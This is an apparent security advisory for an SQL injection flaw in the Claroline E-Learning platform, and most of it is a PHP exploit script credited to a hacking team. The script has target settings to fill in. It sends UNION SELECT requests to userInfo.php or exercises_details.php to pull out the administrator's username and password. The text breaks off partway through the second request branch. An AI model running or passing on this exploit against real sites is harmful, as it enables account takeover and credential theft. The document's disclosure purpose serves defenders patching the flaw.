Summary
Claroline is "an Open Source software based on PHP /MySQL. It's a collaborative learning environment allowing teachers or education institutions to create and administer courses through the web". An SQL Injection vulnerability has been discovered discovered in Claroline E-Learning, the following exploit code will return the username and password of the administrator user of the product.

Credit:
The information has been provided by mh_p0rtal.

Details
Exploit:
<?php
#######################################
# T r a p - S e t U n d e r g r o u n d H a c k i n g T e a m
#######################################
# Vulnerable: Claroline E-Learning Application
#
# Exploit By : MH_p0rtal
#
# Discovered By: Sieg Fried
#
#######################################
# Gr33tz To ==> Alpha_programmer , Oil_karchack , Dr_CephaleX , Str0ke
#
# And Iranian Hacking & Security Teams :
# IHS TeaM , alphaST , Shabgard Security Team , Emperor Hacking Team ,
# Crouz Security Team & Simorgh-ev Security Team
#######################################
# ___________Config :
# please replace your address :
$url = "http:///www.example.com";
# Please replace your name file ( userInfo.php Or exercises_details.php )
$file1 = "userInfo.php";
# please replace your dir address :
$dirs = "/dir/to/claroline/user/";
# __________End Config
#######################################
if ( $file1 == "userInfo.php" ) {
$merg = $dirs.$file1;
$fc = fsockopen("$url", 80, $errno, $errstr, 30);
if (!$fc) {

echo "Can't Connect\n";
} else {
$mh = "GET $merg?uInfo=-1%20UNION%20SELECT%20username,". "password,0,0,0,0,0%20from%20user%20where%20user_id=1/* HTTP/1.1\r\n";
$mh .= "Host: $url\r\n";
$mh .= "Connection: Close\r\n\r\n";

fwrite($fc, $mh);
while (!feof($fc)) {
echo fgets($fc, 1024);
}
fclose($fc);
}
}
//-------------------------------------------------------------------------------------------
if ( $file1 == "exercises_details.php" ) {
$merg = $dirs.$file1;
$fc = fsockopen("$url", 80, $errno, $errstr, 30);
if (!$fc) {

echo "Can't Connect\n";
} else {
$mh = "GET $merg?exo_id=-1/**/UNION/**/SELECT%200,password,". "username,0,0,0%20from%20user%20where%20user_id=1-- HTTP/1.1\r\n";
$mh .= "Host: $url\r\n";
$mh .= "Connection: Close\r\n\r\n";